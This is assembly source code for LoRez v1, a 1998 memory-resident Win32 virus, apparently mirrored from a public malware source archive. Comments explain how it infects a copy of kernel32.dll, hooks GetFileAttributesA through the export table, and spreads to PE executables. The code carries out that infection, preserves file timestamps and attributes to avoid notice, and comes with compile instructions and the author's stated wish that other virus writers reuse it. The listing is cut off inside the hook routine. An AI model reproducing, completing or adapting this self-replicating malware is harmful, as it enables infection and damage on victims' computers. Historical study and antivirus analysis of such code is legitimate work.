mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
809 lines
32 KiB
NASM
809 lines
32 KiB
NASM
|
|
|||
|
|
;** NOTE: original release assumed that this virus worked on WinNT, but I
|
|||
|
|
;** never tested it. I later found out that it does not go memory resident
|
|||
|
|
;** under WinNT, although it causes no system faults, etc.
|
|||
|
|
|
|||
|
|
;
|
|||
|
|
; LoRez v1 - By Virogen [NoP]
|
|||
|
|
;
|
|||
|
|
; This is my final research on Win32 resident kernel infection. LoRez is
|
|||
|
|
; a memory-resident Win32 PE EXE Infector. It successfully operates on
|
|||
|
|
; any kernel version of any Win32 platform (Win95,WinNT,Win98). The virus
|
|||
|
|
; goes memory resident by infecting kernel32.dll. It changes the export
|
|||
|
|
; RVA of GetFileAttributesA to that of the virus code. The next time the
|
|||
|
|
; system boots, the virus goes memory resident and infects any PE EXE
|
|||
|
|
; win32 calls GetFileAttributesA on. This includes any EXE executed as well
|
|||
|
|
; as many those accessed in many other file manipulations. In order to
|
|||
|
|
; get around the shared lock on kernel32.dll, LoRez copies the kernel
|
|||
|
|
; to the windows directory and infects it there. This new copy of the
|
|||
|
|
; kernel will be found before the original one in the system directory
|
|||
|
|
; when the system is booted.
|
|||
|
|
;
|
|||
|
|
; In order to remove the use of static APIs addresses, LoRez searches
|
|||
|
|
; the kernel32 export table in memory for the APIs which it requires. It
|
|||
|
|
; does this by first determining the operating system. It finds this by
|
|||
|
|
; checking a value on the stack and comparing it to the Win95/98 or WinNT
|
|||
|
|
; kernel bases, which are static regardless of kernel version. If the
|
|||
|
|
; operating system cannot be determined, then LoRez passes control back
|
|||
|
|
; to the host without ever accessing any memory which might cause a fault.
|
|||
|
|
; Once the kernel base is determined, LoRez finds the export table and
|
|||
|
|
; then extracts the addresses of the APIs it needs.
|
|||
|
|
;
|
|||
|
|
; Virus Name: LoRez v1
|
|||
|
|
; Virus Author: Virogen [NoP]
|
|||
|
|
; Release Date: 03-05-98
|
|||
|
|
; Operating Systems: Win95/WinNT/Win98
|
|||
|
|
; Hosts : PE EXE files
|
|||
|
|
; Encryption: Removed, till I get a new poly engine coded
|
|||
|
|
; File Date/Time: Unchanged
|
|||
|
|
; File Attributes: Unchanged ; the virus resets and then restores them
|
|||
|
|
; File Size: Can grow by approx 1.6k at most. Sometimes there will be NO
|
|||
|
|
; file size increase due to the alignment of the EXE.
|
|||
|
|
;
|
|||
|
|
;
|
|||
|
|
; Past/Present/Future:
|
|||
|
|
; - My first Win95 virus was Yurn released last week. This was my first
|
|||
|
|
; attempt at windows resident infection and my first dive into the
|
|||
|
|
; windows operating system. Yurn infected the kernel by changing the
|
|||
|
|
; entry code of GetFileAttributesA to a call to the virus code. Yurn
|
|||
|
|
; was limited because it depended on static APIs and kernel versions
|
|||
|
|
; hardcoded into it. I regret releasing it in regards to the
|
|||
|
|
; superority of its spawn LoRez which was released only a week
|
|||
|
|
; later. However, the Yurn release helped me to acquire many new
|
|||
|
|
; insights from my virus colleagues. Release date: 02-25-98.
|
|||
|
|
;
|
|||
|
|
; - LoRez is my attempt at full Win32 infection without the use of
|
|||
|
|
; static APIs. LoRez is far superior to Yurn in many respects.
|
|||
|
|
; It has been a great success and I think will open up a new era of
|
|||
|
|
; Win32 infection. The techniques LoRez uses opens the Win32 platform
|
|||
|
|
; to many new possibilities. All that is left now is to add more
|
|||
|
|
; advanced features such as polymorphism and stealth. I sincerely hope
|
|||
|
|
; that virus authors will find this code useful in creating their own
|
|||
|
|
; kernel infectors. Release date: 03-05-98
|
|||
|
|
;
|
|||
|
|
; - The future: I will release a 32-bit polymorphic engine next,
|
|||
|
|
; along with a new and better virus using the techniques I've
|
|||
|
|
; researched here. This is ofcourse, provided I can finish it
|
|||
|
|
; before Mar 16 (I'll be gone from the computer world for 3
|
|||
|
|
; months). If not, then I look forward to seeing the new virus
|
|||
|
|
; code my colleagues have written in my absence.
|
|||
|
|
;
|
|||
|
|
; How to contact me : try effnet #virus
|
|||
|
|
;
|
|||
|
|
; Greetz -
|
|||
|
|
; -l, Memory Lapse, Soul Manager, Murkry, Treaz0n, Cicatrix, Darkman,
|
|||
|
|
; VirusBuster, and others.
|
|||
|
|
;
|
|||
|
|
;
|
|||
|
|
; HOW TO COMPILE LOREZ:
|
|||
|
|
; I use TASM32 v5. Included is a makefile for LOREZ. After you compile
|
|||
|
|
; the virus, just take out your handy hex editor and change the flags
|
|||
|
|
; of the code object to 0E0000040h. Note that this is stored in intel
|
|||
|
|
; reverse dd at offset 21Ch in LOREZ.EXE.
|
|||
|
|
;
|
|||
|
|
;
|
|||
|
|
;
|
|||
|
|
;
|
|||
|
|
;
|
|||
|
|
.386
|
|||
|
|
locals
|
|||
|
|
jumps
|
|||
|
|
.model flat,STDCALL
|
|||
|
|
|
|||
|
|
L equ
|
|||
|
|
|
|||
|
|
extrn ExitProcess : PROC ; this is so the import table
|
|||
|
|
; won't be empty. Is not used
|
|||
|
|
; in the virus. You'll need
|
|||
|
|
; IMPORT32.LIB for this one.
|
|||
|
|
|
|||
|
|
org 1000h
|
|||
|
|
.data ; our lonely data object
|
|||
|
|
progname db 'LoRez Virus host (c)Virogen',0
|
|||
|
|
.code ; .code - change flags after compile
|
|||
|
|
; to r/w/x
|
|||
|
|
;-----------------------------------------------------------------------------
|
|||
|
|
;
|
|||
|
|
start: ; the would-be host
|
|||
|
|
push 0
|
|||
|
|
call [ExitProcessAPI] ; exit process
|
|||
|
|
|
|||
|
|
;-----------------------------------------------------------------------------
|
|||
|
|
;
|
|||
|
|
; LoRez virus starts here
|
|||
|
|
;
|
|||
|
|
MAX_HDR equ 0250h ; we shouldn't need more than this
|
|||
|
|
ID_OFF equ 0ch ; offset in header for our marker
|
|||
|
|
VIRUS_SIZE equ (offset vend-offset vstart) ; total size of our virus here
|
|||
|
|
VIRTUAL_SIZE equ (offset buffer_end-offset vstart) ; our virtual size
|
|||
|
|
MEM_ID equ 12345678h ; our communcation needs
|
|||
|
|
;
|
|||
|
|
;
|
|||
|
|
vstart:
|
|||
|
|
call geteip ; find relative offset
|
|||
|
|
geteip:
|
|||
|
|
mov ebp,[esp] ; grab it off stack
|
|||
|
|
mov eax,ebp ; used below
|
|||
|
|
sub ebp,offset geteip ; fix it up
|
|||
|
|
add esp,4 ; fix da stack
|
|||
|
|
|
|||
|
|
db 2dh ; sub eax
|
|||
|
|
host_addr dd (offset geteip-offset start)
|
|||
|
|
push eax ; subtract entry point differ
|
|||
|
|
; to get orginal entry VA
|
|||
|
|
|
|||
|
|
mov edx,[esp+4] ; determine OS
|
|||
|
|
and edx,0fff00000h
|
|||
|
|
mov eax,0BFF70000h ; WIn95 kernel base 0BFF70000
|
|||
|
|
cmp edx,0bff00000h ; Win95?
|
|||
|
|
jz good_os
|
|||
|
|
mov eax,edx ; our NT kernel at 77F00000
|
|||
|
|
cmp edx,077f00000h ; WinNT?
|
|||
|
|
jnz goto_host ; abort if neither
|
|||
|
|
|
|||
|
|
good_os:
|
|||
|
|
;
|
|||
|
|
; a brief explanation of the organization of the export table would be
|
|||
|
|
; useful here. Ok, basically there are three tables within the export
|
|||
|
|
; table : API RVA Table (32bit), Name Pointer Table(32bit), and Ordinal
|
|||
|
|
; Table (16bit). Ok, the ordinal number of an API is the entry number of
|
|||
|
|
; the API in the RVA array. So, multiply the ordinal number by four and
|
|||
|
|
; you've got an index into the API RVA Table. Probably you don't already
|
|||
|
|
; have the ordinal number though, so you'll have to find it. To do this,
|
|||
|
|
; you use the Name Pointer Table. This is an array of pointers to the
|
|||
|
|
; asciiz name of each API. When you find the pointer of the API you're
|
|||
|
|
; looking for by string compares, you take the index number of it and
|
|||
|
|
; multiply it by 2 (because the ordinal table is 16bit). Index the result
|
|||
|
|
; in the ordinal table, and you're all set.
|
|||
|
|
;
|
|||
|
|
;
|
|||
|
|
mov [ebp+imagebase],eax ; save kernel base
|
|||
|
|
mov esi,eax
|
|||
|
|
add esi,[esi+3ch] ; relative ptr to PE header
|
|||
|
|
cmp word ptr [esi],'EP' ; make sure we're on right track
|
|||
|
|
jnz goto_host ; if not.. abort
|
|||
|
|
mov esi,[esi+120] ; get export table RVA
|
|||
|
|
add esi,eax ; relative to image base
|
|||
|
|
mov edi,[esi+36] ; get ordinal table RVA
|
|||
|
|
add edi,eax ; relative to image base
|
|||
|
|
mov [ebp+ordinaltbl],edi ; save it
|
|||
|
|
mov edi,[esi+32] ; get name ptr RVA
|
|||
|
|
add edi,eax ; is relative to image base
|
|||
|
|
mov [ebp+nameptrtbl],edi ; save it
|
|||
|
|
mov ecx,[esi+24] ; get number of name ptrs
|
|||
|
|
mov esi,[esi+28] ; get address table RVA
|
|||
|
|
add esi,eax ; is relative to image base
|
|||
|
|
mov [ebp+adrtbl],esi ; save it
|
|||
|
|
|
|||
|
|
xor edx,edx ; edx is our ordinal counter
|
|||
|
|
; edi=name ptr table
|
|||
|
|
; ecx=number of name ptrs
|
|||
|
|
lea esi,[ebp+APIs] ; -> API Name ptrs
|
|||
|
|
mov [ebp+ourAPIptr],esi ; save it
|
|||
|
|
lea eax,[ebp+API_Struct] ; our API address will go here
|
|||
|
|
mov [ebp+curAPIptr],eax ; save it
|
|||
|
|
chk_next_API_name:
|
|||
|
|
mov esi,[ebp+ourAPIptr] ; get ptr to structure item
|
|||
|
|
mov ebx,[esi] ; load ptr to our API name
|
|||
|
|
add ebx,ebp ; add relative address
|
|||
|
|
mov esi,[edi] ; get API name RVA
|
|||
|
|
add esi,[ebp+imagebase] ; relative to image base
|
|||
|
|
compare_API_name:
|
|||
|
|
lodsb
|
|||
|
|
cmp al,byte ptr [ebx] ; compare a byte of names
|
|||
|
|
jnz not_our_API ; it's not our API
|
|||
|
|
cmp al,0 ; end of string?
|
|||
|
|
jz is_our_API ; it's our API
|
|||
|
|
inc ebx
|
|||
|
|
jmp compare_API_name
|
|||
|
|
|
|||
|
|
not_our_API:
|
|||
|
|
inc edx ; increment API counter
|
|||
|
|
cmp edx,ecx ; last entry of name ptr table?
|
|||
|
|
jz goto_host ; uhoh.. we didn't find one
|
|||
|
|
; of our APIs.. abort it all
|
|||
|
|
add edi,4 ; increment export name ptr idx
|
|||
|
|
mov esi,[ebp+ourAPIptr] ; restore our API name ptr struct
|
|||
|
|
jmp chk_next_API_name
|
|||
|
|
|
|||
|
|
is_our_API:
|
|||
|
|
|
|||
|
|
mov edi,[ebp+ordinaltbl] ; load oridinal table RVA
|
|||
|
|
push ecx
|
|||
|
|
push edx
|
|||
|
|
xchg edx,eax ; edx=API number
|
|||
|
|
add eax,eax ; *2 cuz ordinals are words
|
|||
|
|
add edi,eax ; add to ordinal table VA
|
|||
|
|
mov ax,[edi] ; get ordinal (word)
|
|||
|
|
xor edx,edx
|
|||
|
|
mov ecx,4
|
|||
|
|
mul ecx ; *4 cuz address tbl is dd's
|
|||
|
|
mov edi,[ebp+adrtbl] ; load address table VA
|
|||
|
|
add edi,eax ; set idx to API
|
|||
|
|
mov eax,edi
|
|||
|
|
sub eax,[ebp+imagebase] ; get the VA of the entry
|
|||
|
|
mov [ebp+originalRVAptr],eax ; save it for kernel infection
|
|||
|
|
; notice that our last API
|
|||
|
|
; in the array is the one we
|
|||
|
|
; hook
|
|||
|
|
mov eax,[edi] ; get API RVA
|
|||
|
|
mov [ebp+originalRVA],eax ; save it for kernel infection
|
|||
|
|
add eax,[ebp+imagebase] ; is relative to image base
|
|||
|
|
mov edi,[ebp+curAPIptr] ; idx to storage stucture
|
|||
|
|
mov [edi],eax ; save VA of API
|
|||
|
|
add edi,4 ; increment index
|
|||
|
|
mov [ebp+curAPIptr],edi ; save
|
|||
|
|
|
|||
|
|
pop edx
|
|||
|
|
pop ecx
|
|||
|
|
|
|||
|
|
mov edi,[ebp+nameptrtbl] ; reset export name ptr tableidx
|
|||
|
|
mov esi,[ebp+ourAPIptr] ; restore idx to our name ptrs
|
|||
|
|
add esi,4 ; increment idx API name ptr structure
|
|||
|
|
mov [ebp+ourAPIptr],esi ; save our new ptr to name ptr
|
|||
|
|
cmp dword ptr [esi],0 ; end of our API structure?
|
|||
|
|
jz found_all ; if so then we got 'em all
|
|||
|
|
mov edi,[ebp+nameptrtbl] ; reset idx to export name pt
|
|||
|
|
xor edx,edx ; reset API counter
|
|||
|
|
jmp chk_next_API_name
|
|||
|
|
|
|||
|
|
;
|
|||
|
|
; now we're done finding all of our API VAs
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
found_all:
|
|||
|
|
|
|||
|
|
mov byte ptr [ebp+offset infkern],1 ; set kernel infection flag
|
|||
|
|
|
|||
|
|
lea eax,[ebp+fname]
|
|||
|
|
push eax ; save for below
|
|||
|
|
push 0FFh ; max buffer size
|
|||
|
|
push eax ; ptr
|
|||
|
|
call [ebp+GetSysDirAPI] ; get system directory
|
|||
|
|
|
|||
|
|
pop edi
|
|||
|
|
add edi,eax ; find end of directory name
|
|||
|
|
push edi ; where the filename needz to go
|
|||
|
|
|
|||
|
|
lea eax,[ebp+copyfname]
|
|||
|
|
push eax ; save for below
|
|||
|
|
push 0ffh
|
|||
|
|
push eax
|
|||
|
|
call [ebp+GetWinDirAPI] ; get windoze directory
|
|||
|
|
|
|||
|
|
pop edi
|
|||
|
|
add edi,eax
|
|||
|
|
|
|||
|
|
lea esi,[ebp+kernfile]
|
|||
|
|
call copy_str ; append \kernel32.dll to windoze dir
|
|||
|
|
|
|||
|
|
pop edi ; restore windoze sys dir
|
|||
|
|
lea esi,[ebp+kernfile]
|
|||
|
|
call copy_str ; append kernel32.dll to windoze sys dir
|
|||
|
|
|
|||
|
|
push 0
|
|||
|
|
lea eax,[ebp+copyfname] ; from sys dir
|
|||
|
|
push eax
|
|||
|
|
lea eax,[ebp+fname] ; to win dir
|
|||
|
|
push eax
|
|||
|
|
call [ebp+CopyFileAPI] ; copy kernel to windows dir
|
|||
|
|
|
|||
|
|
cmp eax,0 ; if error then we're prob.
|
|||
|
|
jz goto_host ; already in memory
|
|||
|
|
|
|||
|
|
lea eax,[ebp+copyfname] ; infecting windir\kernel32.dll
|
|||
|
|
mov [ebp+fnameptr],eax ; set file ptr
|
|||
|
|
|
|||
|
|
call infect_file ; infect the kernel
|
|||
|
|
|
|||
|
|
goto_host:
|
|||
|
|
|
|||
|
|
pop eax ; restore entry VA
|
|||
|
|
jmp eax ; jmp to host entry VA
|
|||
|
|
|
|||
|
|
;-----------------------------------------------
|
|||
|
|
; infect file - call with fnameptr set
|
|||
|
|
;
|
|||
|
|
infect_file:
|
|||
|
|
|
|||
|
|
mov eax,[ebp+fnameptr]
|
|||
|
|
push eax
|
|||
|
|
mov ecx,MEM_ID ; let us know its us
|
|||
|
|
call [ebp+GetAttribAPI] ; get file attributes
|
|||
|
|
mov [ebp+oldattrib],eax
|
|||
|
|
|
|||
|
|
cmp eax,-1 ; if error then maybe shared
|
|||
|
|
jnz not_shared
|
|||
|
|
ret ; can't infect it
|
|||
|
|
|
|||
|
|
not_shared:
|
|||
|
|
push 20h ; +A
|
|||
|
|
mov eax,[ebp+fnameptr]
|
|||
|
|
push eax
|
|||
|
|
call [ebp+SetAttribAPI] ; clear 'da attribs
|
|||
|
|
|
|||
|
|
call open_default_file
|
|||
|
|
|
|||
|
|
cmp eax,-1
|
|||
|
|
jnz open_ok
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
open_ok:
|
|||
|
|
|
|||
|
|
lea eax,[ebp+creation] ; creation time
|
|||
|
|
push eax
|
|||
|
|
lea eax,[ebp+lastaccess] ; last accessed
|
|||
|
|
push eax
|
|||
|
|
lea eax,[ebp+lastwrite] ; last writen to
|
|||
|
|
push eax
|
|||
|
|
push [ebp+handle]
|
|||
|
|
call [ebp+GetFileTimeAPI] ; grab the file time
|
|||
|
|
|
|||
|
|
mov ecx,50h ; read MZ EXE header
|
|||
|
|
lea edx,[ebp+peheader] ; (if that's what it is)
|
|||
|
|
call read_file
|
|||
|
|
|
|||
|
|
cmp word ptr [ebp+peheader],'ZM' ; is EXE?
|
|||
|
|
jnz abort_infect
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [ebp+peheader+3ch] ; where PE hdr pointer is
|
|||
|
|
mov [ebp+ptrpeheader],eax ; save it
|
|||
|
|
call setfp
|
|||
|
|
|
|||
|
|
call setfp_pehdr
|
|||
|
|
|
|||
|
|
mov ecx,MAX_HDR ; now read the pe header
|
|||
|
|
lea edx,[ebp+peheader]
|
|||
|
|
call read_file
|
|||
|
|
|
|||
|
|
cmp [ebp+bytesread],MAX_HDR ; could we read it all?
|
|||
|
|
jnz abort_infect ; something funky if no
|
|||
|
|
|
|||
|
|
cmp word ptr [ebp+peheader],'EP' ; PE?
|
|||
|
|
jnz abort_infect
|
|||
|
|
cmp dword ptr [ebp+peheader+ID_OFF],0 ; any value here?
|
|||
|
|
jnz abort_infect ; if yes, infected
|
|||
|
|
cmp byte ptr [ebp+infkern],1 ; infecting kernel?
|
|||
|
|
jz skip_base_chk ; if so then its ok to be DLL
|
|||
|
|
cmp dword ptr [ebp+imagebase],00400000h ; executables should have this
|
|||
|
|
jnz abort_infect ; base, DLLs probably not.
|
|||
|
|
skip_base_chk:
|
|||
|
|
|
|||
|
|
call [ebp+GetTickCountAPI] ; get tick count
|
|||
|
|
mov dword ptr [ebp+peheader+ID_OFF],eax ; save as infect flag
|
|||
|
|
|
|||
|
|
xor esi,esi
|
|||
|
|
mov si, word ptr [ebp+NtHeaderSize] ; get header size
|
|||
|
|
add esi,18h ; object table is here
|
|||
|
|
mov dword ptr [ebp+ObjTbloff],esi
|
|||
|
|
|
|||
|
|
lea eax,[ebp+peheader] ; is relative to PE hdr RVA
|
|||
|
|
add esi,eax ; esi->object table
|
|||
|
|
mov [ebp+objtblVA],esi ; save the object table VA
|
|||
|
|
xor eax,eax
|
|||
|
|
mov ax,[ebp+numObj] ; get number of objects
|
|||
|
|
dec eax ; we want last object
|
|||
|
|
mov ecx,40 ; each object 40 bytes
|
|||
|
|
xor edx,edx
|
|||
|
|
mul ecx ; numObj-1*40=last object
|
|||
|
|
add esi,eax ; esi->last obj
|
|||
|
|
|
|||
|
|
lea eax,[ebp+peheader+MAX_HDR-40]
|
|||
|
|
cmp esi,eax ; if it's out of our range
|
|||
|
|
jg abort_infect ; then about this here shit
|
|||
|
|
|
|||
|
|
mov eax,[esi+20] ; get last object physical off
|
|||
|
|
mov [ebp+lastobjimageoff],eax ; save it
|
|||
|
|
|
|||
|
|
mov ecx,dword ptr [ebp+filealign] ; get file alignment
|
|||
|
|
mov eax,[esi+16] ; get physical size of object
|
|||
|
|
mov [ebp+originalpsize],eax ; save it 4 later
|
|||
|
|
push eax
|
|||
|
|
add eax,vend-vstart ; size of our code
|
|||
|
|
call align_fix ; set on file alignment
|
|||
|
|
mov dword ptr [esi+16],eax ; save new physical size
|
|||
|
|
|
|||
|
|
mov ecx,dword ptr [ebp+objalign] ; get object alignment
|
|||
|
|
push ecx ; save for below
|
|||
|
|
mov eax,[esi+8] ; get object virtual size
|
|||
|
|
add eax,VIRTUAL_SIZE ; add our virtual size
|
|||
|
|
call align_fix ; set on obj alignment
|
|||
|
|
mov dword ptr [esi+8],eax ; save new virtual size
|
|||
|
|
|
|||
|
|
pop ecx
|
|||
|
|
mov eax,VIRTUAL_SIZE ; how big we is
|
|||
|
|
add eax,dword ptr [ebp+imagesize] ; add to old image size
|
|||
|
|
call align_fix ; set on obj alignment
|
|||
|
|
mov dword ptr [ebp+imagesize],eax ; save new imagesize
|
|||
|
|
|
|||
|
|
mov [esi+36],0E0000040h ; set object flags r/x/x
|
|||
|
|
|
|||
|
|
pop eax ; restore orginal physical size
|
|||
|
|
add eax,[esi+12] ; add last object's RVA
|
|||
|
|
; eax now RVA of virus code
|
|||
|
|
mov [ebp+virusRVA],eax ; save it
|
|||
|
|
cmp byte ptr [ebp+offset infkern],0 ; do our kernel32?
|
|||
|
|
jz new_entry ; nope.. regular PE
|
|||
|
|
|
|||
|
|
;--- our kernel infection starts here ---
|
|||
|
|
;
|
|||
|
|
; This is really fairly simple. First thing we need to do is find the
|
|||
|
|
; image offset of the export table entry for the API we're hooking. We
|
|||
|
|
; do this by locating the object that contains the export table. Then,
|
|||
|
|
; we subtract the image offset of the object from the virtual offset
|
|||
|
|
; of the object. The difference is then subtracted from the previously
|
|||
|
|
; saved RVA of the table entry. =image offset
|
|||
|
|
;
|
|||
|
|
; The different Win32 kernels have different objects which their
|
|||
|
|
; export table is located in. The Win95 kernels have it located in
|
|||
|
|
; .edata, while win98 puts it in .text, winNT decides to throw the
|
|||
|
|
; shit in .rdata. How do we determine which kernel is which, and which
|
|||
|
|
; object to calculate the image offset by? Simple, Win95 is the only
|
|||
|
|
; kernel that contains .edata, WinNT is the only kernel which contains
|
|||
|
|
; .rdata, and Win98 is the only kernel which doesn't contain either.
|
|||
|
|
;
|
|||
|
|
; Once we extrapolate the image offset of the export table entry for the
|
|||
|
|
; RVA of the API we're hooking, we just save the old RVA, and put our
|
|||
|
|
; RVA in its place.
|
|||
|
|
;
|
|||
|
|
;
|
|||
|
|
mov esi,[ebp+objtblVA] ; load object table VA
|
|||
|
|
xor ecx,ecx
|
|||
|
|
mov cx,[ebp+numObj] ; get number of objects
|
|||
|
|
dec ecx
|
|||
|
|
xor edx,edx ; we'll store our virtual-
|
|||
|
|
; physical difference here
|
|||
|
|
calc_fo_loop:
|
|||
|
|
cmp dword ptr [esi],'ade.' ; is it .edata? for win95
|
|||
|
|
jz end_calc_fo_loop ; if so we can reference it
|
|||
|
|
cmp dword ptr [esi],'xet.' ; is it .text? for win98
|
|||
|
|
jnz not_text
|
|||
|
|
mov [ebp+objtext],esi ; save table entry offset
|
|||
|
|
not_text:
|
|||
|
|
cmp dword ptr [esi],'adr.' ; is it .rdata? for winNT
|
|||
|
|
jz end_calc_fo_loop ; if rdata exists, then
|
|||
|
|
; our export shit is there
|
|||
|
|
add esi,40 ; to next object we go
|
|||
|
|
dec ecx ; decrement # of objects
|
|||
|
|
jnz calc_fo_loop ; if not been thru all loop
|
|||
|
|
mov esi,[ebp+objtext] ; if .edata or .rdata, then
|
|||
|
|
end_calc_fo_loop: ; it must be .text
|
|||
|
|
mov edx,[esi+12] ; get the object virtual off
|
|||
|
|
sub edx,[esi+20] ; subtract physical offset
|
|||
|
|
mov eax,[ebp+originalRVAptr] ; get table entry rva
|
|||
|
|
sub eax,edx ; subract difference
|
|||
|
|
|
|||
|
|
mov [ebp+FileOff],eax ; save table entry image off
|
|||
|
|
call setfp ; set file pointer to it
|
|||
|
|
|
|||
|
|
mov ecx,4 ; read RVA
|
|||
|
|
lea edx,[ebp+chkRVA]
|
|||
|
|
call read_file ; and check it to make sure
|
|||
|
|
; we've got it right
|
|||
|
|
mov eax,[ebp+chkRVA]
|
|||
|
|
cmp eax,[ebp+originalRVA] ; is it the right RVA?
|
|||
|
|
jnz abort_infect ; if not abort infection
|
|||
|
|
|
|||
|
|
mov eax,[ebp+FileOff] ; get image offset
|
|||
|
|
call setfp ; set file ptr to table entry
|
|||
|
|
|
|||
|
|
mov eax,[ebp+virusRVA] ; get virus RVA
|
|||
|
|
add eax,(offset hook-offset vstart) ; find our API hook RVA
|
|||
|
|
|
|||
|
|
lea esi,[ebp+hookRVA] ; to be written
|
|||
|
|
mov [esi],eax ; save hook RVA
|
|||
|
|
mov ecx,4 ; dd
|
|||
|
|
call write_code ; write the new hook RVA
|
|||
|
|
|
|||
|
|
mov eax,[ebp+originalRVA] ; get orginal API RVA
|
|||
|
|
add eax,[ebp+imagebase] ; relative to image base
|
|||
|
|
mov [ebp+jmpback],eax ; save it
|
|||
|
|
|
|||
|
|
jmp calc_reloc ; skip entry point change..
|
|||
|
|
|
|||
|
|
;-------------------------------------------------------
|
|||
|
|
; our PE EXE infection
|
|||
|
|
;
|
|||
|
|
new_entry:
|
|||
|
|
mov eax,[ebp+virusRVA] ; eax=virus RVA
|
|||
|
|
mov ebx,dword ptr [ebp+entrypointRVA] ; save old entry point
|
|||
|
|
mov dword ptr [ebp+entrypointRVA],eax ; put our RVA as entry
|
|||
|
|
|
|||
|
|
calc_reloc:
|
|||
|
|
add eax,(offset geteip-offset vstart) ; fix for our reloc call
|
|||
|
|
sub eax,ebx ; difference of entry pts
|
|||
|
|
mov dword ptr [ebp+offset host_addr],eax ; virusRVA-entryRVA=diff
|
|||
|
|
; virusVA-diff=entryVA
|
|||
|
|
|
|||
|
|
call setfp_pehdr ; back to PE header
|
|||
|
|
|
|||
|
|
lea esi,[ebp+peheader] ; write the new PE header
|
|||
|
|
mov ecx,MAX_HDR
|
|||
|
|
call write_code ; to the host
|
|||
|
|
|
|||
|
|
mov eax,[ebp+originalpsize] ; restore original physical size
|
|||
|
|
add eax,[ebp+lastobjimageoff] ; add object physical offset
|
|||
|
|
call setfp ; set ptr to end of object
|
|||
|
|
|
|||
|
|
lea esi,[ebp+vstart]
|
|||
|
|
mov ecx,VIRUS_SIZE
|
|||
|
|
call write_code ; write the virus code to the host
|
|||
|
|
|
|||
|
|
abort_infect:
|
|||
|
|
|
|||
|
|
lea eax,[ebp+creation] ; creation time
|
|||
|
|
push eax
|
|||
|
|
lea eax,[ebp+lastaccess] ; last accessed
|
|||
|
|
push eax
|
|||
|
|
lea eax,[ebp+lastwrite] ; last writen to
|
|||
|
|
push eax
|
|||
|
|
push [ebp+handle]
|
|||
|
|
call [ebp+SetFileTimeAPI] ; restore orginal file time
|
|||
|
|
|
|||
|
|
call close_file ; we're done
|
|||
|
|
|
|||
|
|
mov eax,[ebp+oldattrib] ; get original attribs
|
|||
|
|
push eax
|
|||
|
|
mov eax,[ebp+fnameptr]
|
|||
|
|
push eax
|
|||
|
|
call [ebp+SetAttribAPI] ; restore the original attributes
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;---------------------------------------------------------------
|
|||
|
|
; close handle at [handle]
|
|||
|
|
;
|
|||
|
|
close_file:
|
|||
|
|
push dword ptr [ebp+offset handle]
|
|||
|
|
call [ebp+CloseFileAPI]
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;---------------------------------------------------------------
|
|||
|
|
; opens file with ptr to filename at [fnameptr]
|
|||
|
|
;
|
|||
|
|
open_default_file:
|
|||
|
|
mov eax,[ebp+fnameptr]
|
|||
|
|
;---------------------------------------------------------------
|
|||
|
|
; opens file, pass eax->filename
|
|||
|
|
;
|
|||
|
|
open_file:
|
|||
|
|
push 0
|
|||
|
|
push 20h ; r+w
|
|||
|
|
push 3 ; 3=open existing file
|
|||
|
|
push 0
|
|||
|
|
push 0
|
|||
|
|
push 0C0000000h ; open for r+w
|
|||
|
|
push eax
|
|||
|
|
call [ebp+CreateFileAPI]
|
|||
|
|
mov [ebp+handle],eax ; save handle
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;---------------------------------------------------------------
|
|||
|
|
; read handle
|
|||
|
|
; pass ecx=bytes to read, edx=offset for bytes read
|
|||
|
|
;
|
|||
|
|
read_file:
|
|||
|
|
push 0
|
|||
|
|
lea eax,[ebp+bytesread]
|
|||
|
|
push eax
|
|||
|
|
push ecx
|
|||
|
|
push edx
|
|||
|
|
push [ebp+handle]
|
|||
|
|
call [ebp+ReadFileAPI]
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;--------------------------------------------------------------
|
|||
|
|
; sets eax on alignment of ecx
|
|||
|
|
;
|
|||
|
|
align_fix:
|
|||
|
|
xor edx,edx
|
|||
|
|
div ecx ; /alignment
|
|||
|
|
inc eax ; next alignment
|
|||
|
|
mul ecx ; *alignment
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;--------------------------------------------------------------
|
|||
|
|
; set file pointer to PE header
|
|||
|
|
setfp_pehdr:
|
|||
|
|
mov eax,[ebp+ptrpeheader]
|
|||
|
|
|
|||
|
|
;--------------------------------------------------------------
|
|||
|
|
; set file ptr of [handle]
|
|||
|
|
; pass eax=offset from beginning
|
|||
|
|
;
|
|||
|
|
setfp:
|
|||
|
|
push 0
|
|||
|
|
push 0
|
|||
|
|
push eax
|
|||
|
|
push [ebp+handle]
|
|||
|
|
call [ebp+SetFilePtrAPI]
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;-------------------------------------------------------------
|
|||
|
|
; write to [handle]
|
|||
|
|
; pass ecx=bytes to write, esi->source
|
|||
|
|
;
|
|||
|
|
write_code:
|
|||
|
|
push 0
|
|||
|
|
lea eax,[ebp+bytesread]
|
|||
|
|
push eax
|
|||
|
|
push ecx
|
|||
|
|
push esi
|
|||
|
|
push [ebp+handle]
|
|||
|
|
call [ebp+WriteFileAPI]
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
|
|||
|
|
;-------------------------------------------------------------
|
|||
|
|
; copy string
|
|||
|
|
; pass edi->destination esi->source
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
copy_str:
|
|||
|
|
mov ecx,0FFh ; no bigger than 256
|
|||
|
|
copystr:
|
|||
|
|
lodsb
|
|||
|
|
stosb
|
|||
|
|
cmp al,0
|
|||
|
|
jz copystrdone
|
|||
|
|
loop copystr
|
|||
|
|
copystrdone:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
|
|||
|
|
;------------------------------ hooked ------------------------
|
|||
|
|
; this is our API hook for GetAttrib
|
|||
|
|
;
|
|||
|
|
hook:
|
|||
|
|
|
|||
|
|
pushfd
|
|||
|
|
push eax ; save regs
|
|||
|
|
push ebx
|
|||
|
|
push ecx
|
|||
|
|
push edx
|
|||
|
|
push edi
|
|||
|
|
push esi
|
|||
|
|
push ebp
|
|||
|
|
|
|||
|
|
call reloc ; find relative index
|
|||
|
|
reloc:
|
|||
|
|
pop ebp ; eip
|
|||
|
|
sub ebp, offset reloc ; get relative address
|
|||
|
